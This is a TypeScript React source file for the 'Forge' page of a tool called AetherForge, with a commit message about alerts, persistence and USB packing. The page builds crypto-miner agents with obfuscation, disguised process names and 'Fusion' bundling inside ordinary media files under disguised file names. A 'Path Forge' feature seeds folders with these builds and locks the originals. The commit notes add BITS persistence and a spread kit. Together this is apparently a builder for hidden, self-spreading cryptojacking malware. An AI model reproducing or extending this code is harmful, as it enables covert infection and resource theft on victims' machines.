- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2436 lines
117 KiB
TypeScript
2436 lines
117 KiB
TypeScript
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
|
||
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
|
||
import { api } from '../api/client';
|
||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||
import NeonCard from '../components/NeonCard/NeonCard';
|
||
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
|
||
import {
|
||
forgeDefaultsFromServerSmart,
|
||
applySmartForgeDefaults,
|
||
RECOMMENDED_DEFAULTS_BLURB,
|
||
suggestWorkerName,
|
||
processNameForWorker,
|
||
} from '../help/forgeSmartDefaults';
|
||
import { getSetupStatus } from '../help/setupStatus';
|
||
import SetupBanner from '../components/SetupBanner';
|
||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||
import { previewInstallPath } from '../help/installPreview';
|
||
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
|
||
import {
|
||
applyDeliverableType,
|
||
deriveDeliverableType,
|
||
deliverableSummary,
|
||
installBaseOptionsForTarget,
|
||
normalizeForgeForm,
|
||
type ForgeDeliverable,
|
||
} from '../help/forgeFormNormalize';
|
||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||
import DownloadButton from '../components/DownloadButton';
|
||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||
import { useForge } from '../context/ForgeContext';
|
||
import {
|
||
fusionPayloadKind,
|
||
fusionTitleFromFilename,
|
||
fusionFileTypeLabel,
|
||
disguisedWindowsRunnerName,
|
||
disguisedDisplayName,
|
||
defaultRunnerName,
|
||
defaultEmbeddedName,
|
||
} from '../help/fusionMedia';
|
||
import './Pages.css';
|
||
|
||
export function formatBytes(n: number): string {
|
||
if (n < 1024) return `${n} B`;
|
||
const units = ['KB', 'MB', 'GB'];
|
||
let v = n / 1024;
|
||
for (const u of units) {
|
||
if (v < 1024) return `${v.toFixed(2)} ${u}`;
|
||
v /= 1024;
|
||
}
|
||
return `${v.toFixed(2)} TB`;
|
||
}
|
||
|
||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
|
||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||
}
|
||
|
||
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
|
||
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
|
||
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
|
||
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
|
||
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
|
||
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
|
||
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
|
||
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
|
||
{ label: 'Almost done...', pct: 98, minMs: 15000 },
|
||
];
|
||
|
||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
||
if (!building) return null;
|
||
return (
|
||
<div className="forge-progress-wrap" aria-live="polite">
|
||
<div className="forge-progress-header">
|
||
<span className="forge-progress-icon">⚙</span>
|
||
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
|
||
<span className="forge-progress-pct">{Math.round(progress)}%</span>
|
||
</div>
|
||
<div className="forge-progress-track">
|
||
<div
|
||
className="forge-progress-fill"
|
||
style={{ width: `${progress}%` }}
|
||
/>
|
||
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
|
||
</div>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||
|
||
function loadSimpleMode(): boolean {
|
||
try {
|
||
const v = localStorage.getItem(FORGE_MODE_KEY);
|
||
if (v === 'advanced') return false;
|
||
} catch {
|
||
/* ignore */
|
||
}
|
||
return true;
|
||
}
|
||
|
||
export default function BuilderPage() {
|
||
const navigate = useNavigate();
|
||
const [searchParams, setSearchParams] = useSearchParams();
|
||
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
|
||
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||
|
||
const [form, setForm] = useState<BuildRequest | null>(null);
|
||
const [building, setBuilding] = useState(false);
|
||
const [error, setError] = useState('');
|
||
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
|
||
const [dispenseReveal, setDispenseReveal] = useState<BuildResponse | null>(null);
|
||
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
|
||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
|
||
const [batchJob, setBatchJob] = useState<{
|
||
total: number;
|
||
current: number;
|
||
fileName: string;
|
||
phase: string;
|
||
percent: number;
|
||
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
|
||
} | null>(null);
|
||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||
|
||
// ── PATH FORGE (server-side recursive seeding) ─────────────────────────────
|
||
const [pfPath, setPfPath] = useState('');
|
||
const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original');
|
||
const [pfStem, setPfStem] = useState('');
|
||
const [pfWindows, setPfWindows] = useState(true);
|
||
const [pfMac, setPfMac] = useState(true);
|
||
const [pfLock, setPfLock] = useState(true);
|
||
const [pfBusy, setPfBusy] = useState(false);
|
||
const [pfResult, setPfResult] = useState<{
|
||
placed: number; total: number; errors: number;
|
||
results: { source: string; files: string[] }[];
|
||
error_list?: string[];
|
||
} | null>(null);
|
||
// Set to true to request cancellation between batch iterations
|
||
const batchCancelRef = useRef(false);
|
||
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
|
||
const cancelTokenRef = useRef<string>('');
|
||
const [estimateError, setEstimateError] = useState('');
|
||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
|
||
const [listenPort, setListenPort] = useState(8989);
|
||
const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
|
||
const forgedThisSessionRef = useRef(false);
|
||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||
|
||
// Drive simulated stage progress while a single build is running
|
||
useEffect(() => {
|
||
if (!building || batchJob) {
|
||
endForge();
|
||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
||
return;
|
||
}
|
||
const startMs = Date.now();
|
||
startForge();
|
||
|
||
let stageIdx = 0;
|
||
const advance = () => {
|
||
const elapsed = Date.now() - startMs;
|
||
// Find the furthest stage whose minMs has been reached
|
||
let next = 0;
|
||
for (let i = 0; i < FORGE_STAGES.length; i++) {
|
||
if (elapsed >= FORGE_STAGES[i].minMs) next = i;
|
||
else break;
|
||
}
|
||
const s = FORGE_STAGES[next];
|
||
// Smoothly interpolate within this stage toward the next stage's target %
|
||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
|
||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
|
||
const stageElapsed = elapsed - s.minMs;
|
||
const stageDur = nextMs - s.minMs;
|
||
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
|
||
const pct = s.pct + (nextPct - s.pct) * frac;
|
||
if (next !== stageIdx) stageIdx = next;
|
||
setStage(s.label, Math.min(98, pct));
|
||
forgeStageTimerRef.current = setTimeout(advance, 250);
|
||
};
|
||
advance();
|
||
|
||
return () => {
|
||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
||
};
|
||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||
}, [building, batchJob]);
|
||
|
||
const setForgeMode = (simple: boolean) => {
|
||
setSimpleMode(simple);
|
||
try {
|
||
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
|
||
} catch {
|
||
/* ignore */
|
||
}
|
||
};
|
||
|
||
const refreshEndpointInfo = async () => {
|
||
setRefreshingEndpoints(true);
|
||
try {
|
||
const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]);
|
||
setServerInfo(info);
|
||
setListenPort(config.port || info.port || 8989);
|
||
return info;
|
||
} finally {
|
||
setRefreshingEndpoints(false);
|
||
}
|
||
};
|
||
|
||
// Blueprint state
|
||
const [blueprints, setBlueprints] = useState<BlueprintInfo[]>([]);
|
||
const [showBlueprints, setShowBlueprints] = useState(false);
|
||
const [blueprintName, setBlueprintName] = useState('');
|
||
const [blueprintMsg, setBlueprintMsg] = useState('');
|
||
const [loadingBlueprints, setLoadingBlueprints] = useState(false);
|
||
const [compareBlueprint, setCompareBlueprint] = useState<Record<string, unknown> | null>(null);
|
||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||
|
||
useEffect(() => {
|
||
Promise.all([
|
||
api.getConfig(),
|
||
api.getServerInfo().catch(() => null),
|
||
api.listBuilds().catch(() => []),
|
||
])
|
||
.then(([config, info, builds]) => {
|
||
setCalibrateConfig(config);
|
||
if (info) {
|
||
setServerInfo(info);
|
||
setListenPort(config.port || info.port || 8989);
|
||
} else {
|
||
setListenPort(config.port || 8989);
|
||
}
|
||
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
|
||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
|
||
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
|
||
})
|
||
.catch((err) => {
|
||
console.error(err);
|
||
setError('Failed to load server config — is the control server running?');
|
||
})
|
||
.finally(() => setLoadingDefaults(false));
|
||
}, []);
|
||
|
||
const loadRecentBuilds = async () => {
|
||
try {
|
||
const builds = await api.listBuilds();
|
||
setRecentBuilds(builds);
|
||
} catch (err) {
|
||
console.error(err);
|
||
}
|
||
};
|
||
|
||
// Handle ?reforge=<buildId> links from Build Manager page
|
||
useEffect(() => {
|
||
const reforgeId = searchParams.get('reforge');
|
||
if (!reforgeId || recentBuilds.length === 0) return;
|
||
const match = recentBuilds.find((b) => b.id === reforgeId);
|
||
if (match) {
|
||
reForgeFromBuild(match);
|
||
setSearchParams({}, { replace: true });
|
||
}
|
||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||
}, [searchParams, recentBuilds]);
|
||
|
||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||
setStage('Build complete!', 100);
|
||
setLastBuild(result);
|
||
setDispenseReveal(result);
|
||
loadRecentBuilds();
|
||
if (!forgedThisSessionRef.current) {
|
||
forgedThisSessionRef.current = true;
|
||
setShowBlueprintOffer(true);
|
||
}
|
||
};
|
||
|
||
const handleForgeNextWorker = () => {
|
||
if (!form) return;
|
||
const name = suggestWorkerName([
|
||
...recentBuilds,
|
||
{ worker_name: form.worker_name } as BuildRecord,
|
||
]);
|
||
setForm({
|
||
...form,
|
||
worker_name: name,
|
||
process_name: processNameForWorker(name),
|
||
});
|
||
setLastBuild(null);
|
||
setError('');
|
||
};
|
||
|
||
const handleSaveFleetBlueprint = async () => {
|
||
if (!form) return;
|
||
const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
|
||
if (!name || !name.trim()) return;
|
||
setBlueprintMsg('');
|
||
try {
|
||
const result = await api.saveBlueprint(name.trim(), form);
|
||
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
|
||
setShowBlueprintOffer(false);
|
||
setTimeout(() => setBlueprintMsg(''), 4000);
|
||
} catch (err: unknown) {
|
||
setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
|
||
}
|
||
};
|
||
|
||
// Blueprint: save current form as a named blueprint
|
||
const handleSaveBlueprint = async () => {
|
||
if (!form) return;
|
||
const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config');
|
||
if (!name || !name.trim()) return;
|
||
setBlueprintMsg('');
|
||
try {
|
||
const result = await api.saveBlueprint(name.trim(), form);
|
||
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
|
||
setTimeout(() => setBlueprintMsg(''), 3000);
|
||
} catch (err: any) {
|
||
setBlueprintMsg(`❌ Failed to save: ${err.message}`);
|
||
}
|
||
};
|
||
|
||
// Blueprint: load blueprints list and show picker
|
||
const handleLoadBlueprint = async () => {
|
||
try {
|
||
setLoadingBlueprints(true);
|
||
const list = await api.listBlueprints();
|
||
setBlueprints(list);
|
||
setShowBlueprints(true);
|
||
} catch (err: any) {
|
||
setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`);
|
||
} finally {
|
||
setLoadingBlueprints(false);
|
||
}
|
||
};
|
||
|
||
// Blueprint: apply a selected blueprint to the form
|
||
const handleApplyBlueprint = async (name: string) => {
|
||
try {
|
||
const data = await api.getBlueprint(name);
|
||
setCompareBlueprint(data as Record<string, unknown>);
|
||
setBlueprintName(name);
|
||
// Merge loaded data into form, preserving any fields not in the blueprint
|
||
setForm((prev) => (prev ? { ...prev, ...data } : prev));
|
||
setShowBlueprints(false);
|
||
setBlueprintMsg(`✅ Blueprint "${name}" loaded`);
|
||
setTimeout(() => setBlueprintMsg(''), 3000);
|
||
} catch (err: any) {
|
||
setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`);
|
||
}
|
||
};
|
||
|
||
const reForgeFromBuild = async (build: BuildRecord) => {
|
||
if (!form) return;
|
||
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||
setForm(merged);
|
||
setError('');
|
||
setLastBuild(null);
|
||
|
||
// Fusion re-forge requires the payload file — prep files are not kept on the
|
||
// server after a build completes (M15). Prompt the user to re-upload first.
|
||
if (merged.fusion_enabled && !fusionPrepFile) {
|
||
setError(
|
||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
|
||
);
|
||
return;
|
||
}
|
||
|
||
const checks = runForgePreflight(merged, !!fusionPrepFile);
|
||
if (preflightHasErrors(checks)) {
|
||
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
||
return;
|
||
}
|
||
const reforgeToken = crypto.randomUUID();
|
||
cancelTokenRef.current = reforgeToken;
|
||
setBuilding(true);
|
||
try {
|
||
const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
|
||
if (!result.success) throw new Error(result.error || 'Build failed');
|
||
await finishForgeSuccess(result);
|
||
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
||
} catch (err: any) {
|
||
setError(err.message || 'Re-forge failed');
|
||
} finally {
|
||
setBuilding(false);
|
||
}
|
||
};
|
||
|
||
|
||
// Blueprint: delete a blueprint
|
||
const handleDeleteBlueprint = async (name: string) => {
|
||
if (!confirm(`Delete blueprint "${name}"?`)) return;
|
||
try {
|
||
await api.deleteBlueprint(name);
|
||
setBlueprints((prev) => prev.filter((b) => b.name !== name));
|
||
} catch (err: any) {
|
||
setBlueprintMsg(`❌ Failed to delete: ${err.message}`);
|
||
}
|
||
};
|
||
|
||
// Blueprint: import from a local .json file
|
||
const handleImportBlueprintFile = () => {
|
||
fileInputRef.current?.click();
|
||
};
|
||
|
||
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
|
||
const file = e.target.files?.[0];
|
||
if (!file) return;
|
||
const reader = new FileReader();
|
||
reader.onload = (evt) => {
|
||
try {
|
||
const data = JSON.parse(evt.target?.result as string) as Record<string, unknown>;
|
||
setCompareBlueprint(data);
|
||
setBlueprintName(file.name);
|
||
setForm((prev) => (prev ? { ...prev, ...data } : prev));
|
||
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
|
||
setTimeout(() => setBlueprintMsg(''), 3000);
|
||
} catch {
|
||
setBlueprintMsg('❌ Invalid JSON file');
|
||
}
|
||
};
|
||
reader.readAsText(file);
|
||
// Reset input so same file can be re-selected
|
||
e.target.value = '';
|
||
};
|
||
|
||
// Blueprint: export current form as a downloadable .json file
|
||
const handleExportBlueprintFile = () => {
|
||
if (!form) return;
|
||
const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' });
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = `${form.worker_name || 'miner-config'}-blueprint.json`;
|
||
a.click();
|
||
URL.revokeObjectURL(url);
|
||
};
|
||
|
||
const applyFusionFileSelection = (f: File | null) => {
|
||
setFusionPrepFile(f);
|
||
if (!f) return;
|
||
const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
|
||
// Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
|
||
const preferPaired = isImage || f.size > 500 * 1024 * 1024;
|
||
setForm((prev) => {
|
||
if (!prev) return prev;
|
||
return normalizeForgeForm({
|
||
...prev,
|
||
fusion_payload_kind: fusionPayloadKind(f),
|
||
fusion_media_base_name: f.name,
|
||
fusion_output_name: defaultRunnerName(f.name),
|
||
...(preferPaired && prev.fusion_media_mode === 'embedded'
|
||
? { fusion_media_mode: 'paired' as const }
|
||
: {}),
|
||
...(!prev.fusion_enabled
|
||
? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
|
||
: {}),
|
||
});
|
||
});
|
||
};
|
||
|
||
// Kill the current server-side compile via the cancel API, then stop the batch loop.
|
||
const handleKillBuild = useCallback(async () => {
|
||
const tok = cancelTokenRef.current;
|
||
if (tok) {
|
||
try { await api.cancelBuild(tok); } catch { /* ignore */ }
|
||
}
|
||
batchCancelRef.current = true;
|
||
setBuilding(false);
|
||
}, []);
|
||
|
||
const handlePathForge = async () => {
|
||
if (!pfPath.trim()) { alert('Enter a folder path first.'); return; }
|
||
if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; }
|
||
setPfBusy(true);
|
||
setPfResult(null);
|
||
try {
|
||
const { authHeaders } = await import('../api/auth');
|
||
const res = await fetch('/api/v1/builder/path-forge', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||
body: JSON.stringify({
|
||
root_path: pfPath.trim(),
|
||
stem_mode: pfStemMode,
|
||
output_stem: pfStem.trim(),
|
||
target_windows: pfWindows,
|
||
target_mac: pfMac,
|
||
lock_original: pfLock,
|
||
server_url: form?.server_url ?? '',
|
||
}),
|
||
});
|
||
const data = await res.json();
|
||
setPfResult(data);
|
||
} catch (err) {
|
||
setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] });
|
||
} finally {
|
||
setPfBusy(false);
|
||
}
|
||
};
|
||
|
||
const handleBatchCancel = () => {
|
||
batchCancelRef.current = true;
|
||
// Also kill the currently-running server compile
|
||
const tok = cancelTokenRef.current;
|
||
if (tok) {
|
||
api.cancelBuild(tok).catch(() => {});
|
||
}
|
||
};
|
||
|
||
const handleBatchForge = async () => {
|
||
if (!form || fusionBatchFiles.length === 0) return;
|
||
setError('');
|
||
setLastBuild(null);
|
||
batchCancelRef.current = false;
|
||
setBuilding(true);
|
||
const total = fusionBatchFiles.length;
|
||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
|
||
let ok = 0;
|
||
try {
|
||
for (let i = 0; i < total; i++) {
|
||
if (batchCancelRef.current) {
|
||
setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
|
||
setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
|
||
setTimeout(() => setBlueprintMsg(''), 5000);
|
||
break;
|
||
}
|
||
const file = fusionBatchFiles[i];
|
||
const title = fusionTitleFromFilename(file.name);
|
||
const pct = Math.round((i / total) * 100);
|
||
setBatchJob((j) =>
|
||
j
|
||
? {
|
||
...j,
|
||
current: i + 1,
|
||
fileName: file.name,
|
||
phase: 'building',
|
||
percent: pct,
|
||
log: j.log.map((row, idx) =>
|
||
idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
|
||
),
|
||
}
|
||
: j
|
||
);
|
||
const req = normalizeForgeForm({
|
||
...form,
|
||
target_os: 'universal',
|
||
fusion_enabled: true,
|
||
spread_kit: false,
|
||
fusion_payload_kind: fusionPayloadKind(file),
|
||
fusion_media_base_name: file.name,
|
||
fusion_export_subdir: title,
|
||
fusion_output_name: defaultRunnerName(file.name),
|
||
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
|
||
});
|
||
const checks = runForgePreflight(req, true);
|
||
if (preflightHasErrors(checks)) {
|
||
throw new Error(`Preflight failed for ${file.name}`);
|
||
}
|
||
const batchToken = crypto.randomUUID();
|
||
cancelTokenRef.current = batchToken;
|
||
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
|
||
cancelTokenRef.current = '';
|
||
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
||
setBatchJob((j) =>
|
||
j
|
||
? {
|
||
...j,
|
||
phase: 'downloading',
|
||
log: j.log.map((row, idx) =>
|
||
idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
|
||
),
|
||
}
|
||
: j
|
||
);
|
||
await finishForgeSuccess(result);
|
||
ok++;
|
||
setBatchJob((j) =>
|
||
j
|
||
? {
|
||
...j,
|
||
log: j.log.map((row, idx) =>
|
||
idx === i
|
||
? {
|
||
...row,
|
||
status: 'ok',
|
||
detail: result.fusion_export_dir
|
||
? `Saved → ${result.fusion_export_dir}`
|
||
: 'ZIP downloaded',
|
||
}
|
||
: row
|
||
),
|
||
}
|
||
: j
|
||
);
|
||
}
|
||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
|
||
setTimeout(() => setBlueprintMsg(''), 6000);
|
||
setFusionBatchFiles([]);
|
||
} catch (err: unknown) {
|
||
const msg = err instanceof Error ? err.message : 'Batch forge failed';
|
||
setError(msg);
|
||
setBatchJob((j) =>
|
||
j
|
||
? {
|
||
...j,
|
||
phase: 'error',
|
||
log: j.log.map((row) =>
|
||
row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
|
||
),
|
||
}
|
||
: j
|
||
);
|
||
} finally {
|
||
setBuilding(false);
|
||
setTimeout(() => setBatchJob(null), 8000);
|
||
}
|
||
};
|
||
|
||
const handleSubmit = async (e: React.FormEvent) => {
|
||
e.preventDefault();
|
||
if (!form) return;
|
||
setError('');
|
||
setLastBuild(null);
|
||
|
||
const normalized = normalizeForgeForm(form);
|
||
if (normalized !== form) {
|
||
setForm(normalized);
|
||
}
|
||
|
||
const checks = runForgePreflight(normalized, !!fusionPrepFile);
|
||
if (preflightHasErrors(checks)) {
|
||
setError('Preflight failed — fix errors in the checklist below before forging.');
|
||
return;
|
||
}
|
||
|
||
const cancelToken = crypto.randomUUID();
|
||
cancelTokenRef.current = cancelToken;
|
||
setBuilding(true);
|
||
try {
|
||
const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
|
||
if (!result.success) {
|
||
throw new Error(result.error || 'Build failed');
|
||
}
|
||
await finishForgeSuccess(result);
|
||
} catch (err: any) {
|
||
if (err.message !== 'build cancelled') {
|
||
setError(err.message || 'Build failed');
|
||
}
|
||
} finally {
|
||
cancelTokenRef.current = '';
|
||
setBuilding(false);
|
||
}
|
||
};
|
||
|
||
const applyRecommendedDefaults = async () => {
|
||
if (!form) return;
|
||
try {
|
||
const [config, info, builds] = await Promise.all([
|
||
api.getConfig(),
|
||
api.getServerInfo(),
|
||
api.listBuilds().catch(() => [] as BuildRecord[]),
|
||
]);
|
||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||
const base = defaultsFromConfig(config, info, builds);
|
||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
|
||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
|
||
setForm(applyDeliverableType(merged, kind));
|
||
setBlueprintMsg('✅ Recommended defaults applied');
|
||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||
} catch (err: unknown) {
|
||
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
|
||
}
|
||
};
|
||
|
||
const updateField = (field: keyof BuildRequest, value: unknown) => {
|
||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||
};
|
||
|
||
const setDeliverableType = (type: ForgeDeliverable) => {
|
||
setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
|
||
if (type !== 'fusion') {
|
||
setFusionPrepFile(null);
|
||
setFusionBatchFiles([]);
|
||
setFusionEstimate(null);
|
||
}
|
||
};
|
||
|
||
const deliverableType = form ? deriveDeliverableType(form) : 'single';
|
||
const installBaseOptions = installBaseOptionsForTarget(form?.target_os);
|
||
|
||
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
|
||
const liveNotices = useMemo(
|
||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||
[form, fusionPrepFile]
|
||
);
|
||
const preflightChecks = useMemo(
|
||
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
|
||
[form, fusionPrepFile]
|
||
);
|
||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||
const blueprintChanges = useMemo(() => {
|
||
if (!compareBlueprint || !form) return [];
|
||
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
|
||
}, [compareBlueprint, form]);
|
||
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
|
||
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||
|
||
useEffect(() => {
|
||
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||
setFusionEstimate(null);
|
||
setEstimateError('');
|
||
return;
|
||
}
|
||
let cancelled = false;
|
||
const timer = window.setTimeout(() => {
|
||
setEstimateLoading(true);
|
||
setEstimateError('');
|
||
api.estimateFusion(form, fusionPrepFile)
|
||
.then((est) => {
|
||
if (!cancelled) setFusionEstimate(est);
|
||
})
|
||
.catch((err: Error) => {
|
||
if (!cancelled) {
|
||
setFusionEstimate(null);
|
||
setEstimateError(err.message || 'Estimate failed');
|
||
}
|
||
})
|
||
.finally(() => {
|
||
if (!cancelled) setEstimateLoading(false);
|
||
});
|
||
}, 350);
|
||
return () => {
|
||
cancelled = true;
|
||
window.clearTimeout(timer);
|
||
};
|
||
}, [
|
||
form?.fusion_enabled,
|
||
form?.fusion_output_name,
|
||
form?.output_dir,
|
||
form?.obfuscate,
|
||
form?.sign_build,
|
||
form?.worker_name,
|
||
fusionPrepFile,
|
||
]);
|
||
|
||
// Cancel any in-progress server-side build when the component unmounts
|
||
// (e.g. user navigates away mid-forge). This closes the M14 UI desync where
|
||
// the server kept compiling after the Forge page was left.
|
||
useEffect(() => {
|
||
return () => {
|
||
const tok = cancelTokenRef.current;
|
||
if (tok) {
|
||
api.cancelBuild(tok).catch(() => {});
|
||
cancelTokenRef.current = '';
|
||
}
|
||
batchCancelRef.current = true;
|
||
};
|
||
}, []);
|
||
|
||
if (loadingDefaults) {
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||
<h1>The Forge</h1>
|
||
</div>
|
||
</header>
|
||
<NeonCard accent="brass"><p>Loading forge defaults from server...</p></NeonCard>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
if (!form) {
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||
<h1>The Forge</h1>
|
||
</div>
|
||
</header>
|
||
<NeonCard accent="brass">
|
||
<p>{error || 'Failed to load forge defaults from server.'}</p>
|
||
</NeonCard>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
const installPreview = previewInstallPath({
|
||
install_base: form.install_base,
|
||
install_custom_base: form.install_custom_base,
|
||
install_relative_path: form.install_relative_path,
|
||
worker_name: form.worker_name,
|
||
process_name: form.process_name,
|
||
target_os: form.target_os,
|
||
});
|
||
|
||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||
